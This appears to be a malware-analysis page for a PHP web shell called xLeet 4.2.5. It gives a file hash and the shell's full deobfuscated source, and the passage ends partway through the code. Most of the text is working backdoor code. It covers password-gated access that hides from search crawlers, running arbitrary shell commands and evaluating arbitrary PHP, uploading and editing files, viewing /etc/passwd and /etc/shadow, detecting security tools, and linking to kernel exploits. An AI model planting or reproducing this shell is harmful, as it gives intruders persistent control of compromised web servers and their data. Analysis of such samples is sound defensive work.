PHP Malware Analysis

pandored.php

md5: c65f10a1973cf6d8f3afb79423bbedd9

Jump to:

Screenshot


Attributes

Encoding

Environment

Execution

Files

Input

Title
  • " . $_SERVER['HTTP_HOST'] . " - xLeet " . VERSION . " (Deobfuscated)
  • " . $_SERVER[\'HTTP_HOST\'] . " - xLeet " . VERSION ." (Traces)

URLs


Deobfuscated PHP code

<?php

eval /* PHPDeobfuscator eval output */ {
    error_reporting(0);
    //-------------- Seller Rulez !--------------
    if ($_REQUEST['watchx']) {
        $version = phpversion();
        $uname = php_uname();
        $ip = gethostbyname($_SERVER["HTTP_HOST"]);
        echo json_encode(array("version" => $version, "uname" => $uname, "platform" => PHP_OS, "ip" => $ip, "workingx" => true));
        die;
    }
    //-----------------Password---------------------
    $▛ = "59e8d97dbcc1d0f65dea6ecd0e9fbe39";
    //xleet
    $▘ = true;
    $▜ = 'UTF-8';
    $▚ = 'FilesMan';
    $▙ = md5($_SERVER['HTTP_USER_AGENT']);
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
        prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
    }
    if (empty($_POST['charset'])) {
        $_POST['charset'] = $▜;
    }
    if (!isset($_POST['ne'])) {
        if (isset($_POST['a'])) {
            $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['c'])) {
            $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p1'])) {
            $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p2'])) {
            $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
        if (isset($_POST['p3'])) {
            $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
        }
    }
    function decrypt($str, $pwd)
    {
        $pwd = base64_encode($pwd);
        $str = base64_decode($str);
        $enc_chr = "";
        $enc_str = "";
        $i = 0;
        while ($i < strlen($str)) {
            for ($j = 0; $j < strlen($pwd); $j++) {
                $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                $enc_str .= $enc_chr;
                $i++;
                if ($i >= strlen($str)) {
                    break;
                }
            }
        }
        return base64_decode($enc_str);
    }
    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    if (true) {
        @set_magic_quotes_runtime(0);
    }
    @define('VERSION', '4.2.5');
    if (get_magic_quotes_gpc()) {
        function stripslashes_array($array)
        {
            return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
        }
        $_POST = stripslashes_array($_POST);
        $_COOKIE = stripslashes_array($_COOKIE);
    }
    /* (С) 11.2011 oRb */
    if (!empty($▛)) {
        if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
            prototype(md5($_SERVER['HTTP_HOST']), $▛);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
            hardLogin();
        }
    }
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
        $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
    }
    function hardLogin()
    {
        if (!empty($_SERVER['HTTP_USER_AGENT'])) {
            $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
            if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                header('HTTP/1.0 404 Not Found');
                exit;
            }
        }
        die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
    }
    if (strtolower("PHP") == "win") {
        $os = 'win';
    } else {
        $os = 'nix';
    }
    $safe_mode = @ini_get('safe_mode');
    if (!$safe_mode) {
        error_reporting(0);
    }
    $disable_functions = @ini_get('disable_functions');
    $home_cwd = @getcwd();
    if (isset($_POST['c'])) {
        @chdir($_POST['c']);
    }
    $cwd = @getcwd();
    if ($os == 'win') {
        $home_cwd = str_replace("\\", "/", $home_cwd);
        $cwd = str_replace("\\", "/", $cwd);
    }
    if ($cwd[strlen($cwd) - 1] != '/') {
        $cwd .= '/';
    }
    /* (С) 04.2015 Pirat */
    function hardHeader()
    {
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $GLOBALS['▜'];
        }
        echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - xLeet " . VERSION . "</title>\n<style>\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\n\ttable.info\t{color:#C3C3C3;}\n\ttable#toolsTbl {background-color: #060A10;}\n\tspan,h1,a\t{color:#fff !important;}\n\tspan\t\t{font-weight:bolder;}\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\n\ta\t\t\t{text-decoration:none;}\n\ta:hover\t\t{text-decoration:underline;}\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\n\tlabel {position:relative}\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\n\tform\t\t{margin:0px;}\n\t#toolsTbl\t{text-align:center;}\n\t#fak \t\t{background:none;}\n\t#fak td \t{padding:5px 0 0 0;}\n\tiframe\t\t{border:1px solid #060a10;}\n\t.toolsInp\t{width:300px}\n\t.main th\t{text-align:left;background-color:#060a10;}\n\t.main tr:hover{background-color:#354252;}\n\t.main td, th{vertical-align:middle;}\n\tinput[type='submit']{background-color:#2E6E9C;}\n\tinput[type='button']{background-color:#2E6E9C;}\n\tinput[type='submit']:hover{background-color:#56AD15;}\n\tinput[type='button']:hover{background-color:#56AD15;}\n\t.l1\t\t\t{background-color:#202832;}\n\tpre\t\t\t{font:9pt Courier New;}\n</style>\n<script>\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\n    var d = document;\n\t\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = 'ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open('POST', url, true);\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert('Request error!');\n\t}\n</script>\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";
        $freeSpace = @diskfreespace($GLOBALS['cwd']);
        $totalSpace = @disk_total_space($GLOBALS['cwd']);
        $totalSpace = $totalSpace ? $totalSpace : 1;
        $release = @php_uname('r');
        $kernel = @php_uname('s');
        $explink = 'http://noreferer.de/?http://www.exploit-db.com/search/?action=search&description=';
        if (strpos('Linux', $kernel) !== false) {
            $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
        } else {
            $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
        }
        if (!function_exists('posix_getegid')) {
            $user = @get_current_user();
            $uid = @getmyuid();
            $gid = @getmygid();
            $group = "?";
        } else {
            $uid = @posix_getpwuid(@posix_geteuid());
            $gid = @posix_getgrgid(@posix_getegid());
            $user = $uid['name'];
            $uid = $uid['uid'];
            $group = $gid['name'];
            $gid = $gid['gid'];
        }
        $cwd_links = '';
        $path = explode("/", $GLOBALS['cwd']);
        $n = count($path);
        for ($i = 0; $i < $n - 1; $i++) {
            $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
            for ($j = 0; $j <= $i; $j++) {
                $cwd_links .= $path[$j] . '/';
            }
            $cwd_links .= "\")'>" . $path[$i] . "/</a>";
        }
        $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
        $opt_charsets = '';
        foreach ($charsets as $▟) {
            $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
        }
        $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
        if (!empty($GLOBALS['▛'])) {
            $m['Logout'] = 'Logout';
        }
        $m['Self remove'] = 'SelfRemove';
        $menu = '';
        foreach ($m as $k => $v) {
            $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
        }
        $drives = "";
        if ($GLOBALS['os'] == 'win') {
            foreach (range('c', 'z') as $drive) {
                if (is_dir($drive . ':\\')) {
                    $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                }
            }
        }
        echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://noreferer.de/?http://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
    }
    function hardFooter()
    {
        $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
        echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\n\t<tr>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\n\t\t<input type=hidden name=a value='FilesMan'>\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\n\t\t<input type=hidden name=p1 value='uploadFile'>\n\t\t<input type=hidden name=ne value=''>\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f[]  multiple><input type=submit value='submit'></form><br  ></td>\n\t</tr></table></div>\n\t\n\t</body></html>";
    }
    if (!function_exists("posix_getpwuid") && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
        function posix_getpwuid($p)
        {
            return false;
        }
    }
    if (!function_exists("posix_getgrgid") && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
        function posix_getgrgid($p)
        {
            return false;
        }
    }
    function ex($in)
    {
        $▖ = '';
        if (function_exists('exec')) {
            @exec($in, $▖);
            $▖ = @join("\n", $▖);
        } elseif (function_exists('passthru')) {
            ob_start();
            @passthru($in);
            $▖ = ob_get_clean();
        } elseif (function_exists('system')) {
            ob_start();
            @system($in);
            $▖ = ob_get_clean();
        } elseif (function_exists('shell_exec')) {
            $▖ = shell_exec($in);
        } elseif (is_resource($f = @popen($in, "r"))) {
            $▖ = "";
            while (!@feof($f)) {
                $▖ .= fread($f, 1024);
            }
            pclose($f);
        } else {
            return "\xe2\x86\xb3 Unable to execute command\n";
        }
        return $▖ == '' ? "\xe2\x86\xb3 Query did not return anything\n" : $▖;
    }
    function viewSize($s)
    {
        if ($s >= 1073741824) {
            return sprintf('%1.2f', $s / 1073741824) . ' GB';
        } elseif ($s >= 1048576) {
            return sprintf('%1.2f', $s / 1048576) . ' MB';
        } elseif ($s >= 1024) {
            return sprintf('%1.2f', $s / 1024) . ' KB';
        } else {
            return $s . ' B';
        }
    }
    function perms($p)
    {
        if (($p & 0xc000) == 0xc000) {
            $i = 's';
        } elseif (($p & 0xa000) == 0xa000) {
            $i = 'l';
        } elseif (($p & 0x8000) == 0x8000) {
            $i = '-';
        } elseif (($p & 0x6000) == 0x6000) {
            $i = 'b';
        } elseif (($p & 0x4000) == 0x4000) {
            $i = 'd';
        } elseif (($p & 0x2000) == 0x2000) {
            $i = 'c';
        } elseif (($p & 0x1000) == 0x1000) {
            $i = 'p';
        } else {
            $i = 'u';
        }
        $i .= $p & 0x100 ? 'r' : '-';
        $i .= $p & 0x80 ? 'w' : '-';
        $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
        $i .= $p & 0x20 ? 'r' : '-';
        $i .= $p & 0x10 ? 'w' : '-';
        $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
        $i .= $p & 0x4 ? 'r' : '-';
        $i .= $p & 0x2 ? 'w' : '-';
        $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
        return $i;
    }
    function viewPermsColor($f)
    {
        if (!@is_readable($f)) {
            return '<font color=#FF0000><b>' . perms(@fileperms($f)) . '</b></font>';
        } elseif (!@is_writable($f)) {
            return '<font color=white><b>' . perms(@fileperms($f)) . '</b></font>';
        } else {
            return '<font color=#FFDB5F><b>' . perms(@fileperms($f)) . '</b></font>';
        }
    }
    function hardScandir($dir)
    {
        if (function_exists("scandir")) {
            return scandir($dir);
        } else {
            $dh = opendir($dir);
            while (false !== ($filename = readdir($dh))) {
                $files[] = $filename;
            }
            return $files;
        }
    }
    function which($p)
    {
        $path = ex('which ' . $p);
        if (!empty($path)) {
            return $path;
        }
        return false;
    }
    function actionRC()
    {
        if (!@$_POST['p1']) {
            $a = array("uname" => php_uname(), "php_version" => phpversion(), "VERSION" => VERSION, "safemode" => @ini_get('safe_mode'));
            echo serialize($a);
        } else {
            eval($_POST['p1']);
        }
    }
    function prototype($k, $v)
    {
        $_COOKIE[$k] = $v;
        setcookie($k, $v);
    }
    function actionSecInfo()
    {
        hardHeader();
        echo "<h1>Server security information</h1><div class=content>";
        function showSecParam($n, $v)
        {
            $v = trim($v);
            if ($v) {
                echo '<span>' . $n . ': </span>';
                if (strpos($v, "\n") === false) {
                    echo $v . '<br>';
                } else {
                    echo '<pre class=ml1>' . $v . '</pre>';
                }
            }
        }
        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
        if (function_exists('apache_get_modules')) {
            showSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
        }
        showSecParam('Disabled PHP Functions', $GLOBALS['disable_functions'] ? $GLOBALS['disable_functions'] : 'none');
        showSecParam('Open base dir', @ini_get('open_basedir'));
        showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
        showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
        showSecParam('cURL support', function_exists('curl_version') ? 'enabled' : 'no');
        $temp = array();
        if (function_exists('mysql_get_client_info')) {
            $temp[] = "MySql (" . mysql_get_client_info() . ")";
        }
        if (function_exists('mssql_connect')) {
            $temp[] = "MSSQL";
        }
        if (function_exists('pg_connect')) {
            $temp[] = "PostgreSQL";
        }
        if (function_exists('oci_connect')) {
            $temp[] = "Oracle";
        }
        showSecParam('Supported databases', implode(', ', $temp));
        echo "<br>";
        if ($GLOBALS['os'] == 'nix') {
            showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>" : 'no');
            showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>" : 'no');
            showSecParam('OS version', @file_get_contents('/proc/version'));
            showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if (!$GLOBALS['safe_mode']) {
                $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzip2', 'nc', 'locate', 'suidperl');
                $danger = array('kav', 'nod32', 'bdcored', 'uvscan', 'sav', 'drwebd', 'clamd', 'rkhunter', 'chkrootkit', 'iptables', 'ipfw', 'tripwire', 'shieldcc', 'portsentry', 'snort', 'ossec', 'lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan', 'ninja');
                $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                echo "<br>";
                $temp = array();
                foreach ($userful as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Userful', implode(', ', $temp));
                $temp = array();
                foreach ($danger as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Danger', implode(', ', $temp));
                $temp = array();
                foreach ($downloaders as $▟) {
                    if (which($▟)) {
                        $temp[] = $▟;
                    }
                }
                showSecParam('Downloaders', implode(', ', $temp));
                echo "<br/>";
                showSecParam('HDD space', ex('df -h'));
                showSecParam('Hosts', @file_get_contents('/etc/hosts'));
                showSecParam('Mount options', @file_get_contents('/etc/fstab'));
            }
        } else {
            showSecParam('OS Version', ex('ver'));
            showSecParam('Account Settings', iconv('CP866', 'UTF-8', ex('net accounts')));
            showSecParam('User Accounts', iconv('CP866', 'UTF-8', ex('net user')));
        }
        echo "</div>";
        hardFooter();
    }
    function actionFilesTools()
    {
        if (isset($_POST['p1'])) {
            $_POST['p1'] = urldecode($_POST['p1']);
        }
        if (@$_POST['p2'] == 'download') {
            if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
                ob_start("ob_gzhandler", 4096);
                header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
                if (function_exists("mime_content_type")) {
                    $type = @mime_content_type($_POST['p1']);
                    header("Content-Type: " . $type);
                } else {
                    header("Content-Type: application/octet-stream");
                }
                $fp = @fopen($_POST['p1'], "r");
                if ($fp) {
                    while (!@feof($fp)) {
                        echo @fread($fp, 1024);
                    }
                    fclose($fp);
                }
            }
            exit;
        }
        if (@$_POST['p2'] == 'mkfile') {
            if (!file_exists($_POST['p1'])) {
                $fp = @fopen($_POST['p1'], 'w');
                if ($fp) {
                    $_POST['p2'] = "edit";
                    fclose($fp);
                }
            }
        }
        hardHeader();
        echo "<h1>File tools</h1><div class=content>";
        if (!file_exists(@$_POST['p1'])) {
            echo "File not exists";
            hardFooter();
            return;
        }
        $uid = @posix_getpwuid(@fileowner($_POST['p1']));
        if (!$uid) {
            $uid['name'] = @fileowner($_POST['p1']);
            $gid['name'] = @filegroup($_POST['p1']);
        } else {
            $gid = @posix_getgrgid(@filegroup($_POST['p1']));
        }
        echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
        echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
        if (empty($_POST['p2'])) {
            $_POST['p2'] = 'view';
        }
        if (is_file($_POST['p1'])) {
            $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch', 'Frame');
        } else {
            $m = array('Chmod', 'Rename', 'Touch');
        }
        foreach ($m as $v) {
            echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
        }
        echo "<br><br>";
        switch ($_POST['p2']) {
            case 'view':
                echo "<pre class=ml1>";
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp)) {
                        echo htmlspecialchars(@fread($fp, 1024));
                    }
                    @fclose($fp);
                }
                echo "</pre>";
                break;
            case 'highlight':
                if (@is_readable($_POST['p1'])) {
                    echo "<div class=ml1 style=\"background-color: #e1e1e1;color:black;\">";
                    $oRb = @highlight_file($_POST['p1'], true);
                    echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $oRb) . '</div>';
                }
                break;
            case 'chmod':
                if (!empty($_POST['p3'])) {
                    $perms = 0;
                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                        $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                    }
                    if (!@chmod($_POST['p1'], $perms)) {
                        echo "Can't set permissions!<br><script>document.mf.p3.value=\"\";</script>";
                    }
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo "File isn't writeable";
                    break;
                }
                if (!empty($_POST['p3'])) {
                    $time = @filemtime($_POST['p1']);
                    $_POST['p3'] = substr($_POST['p3'], 1);
                    $fp = @fopen($_POST['p1'], "w");
                    if ($fp) {
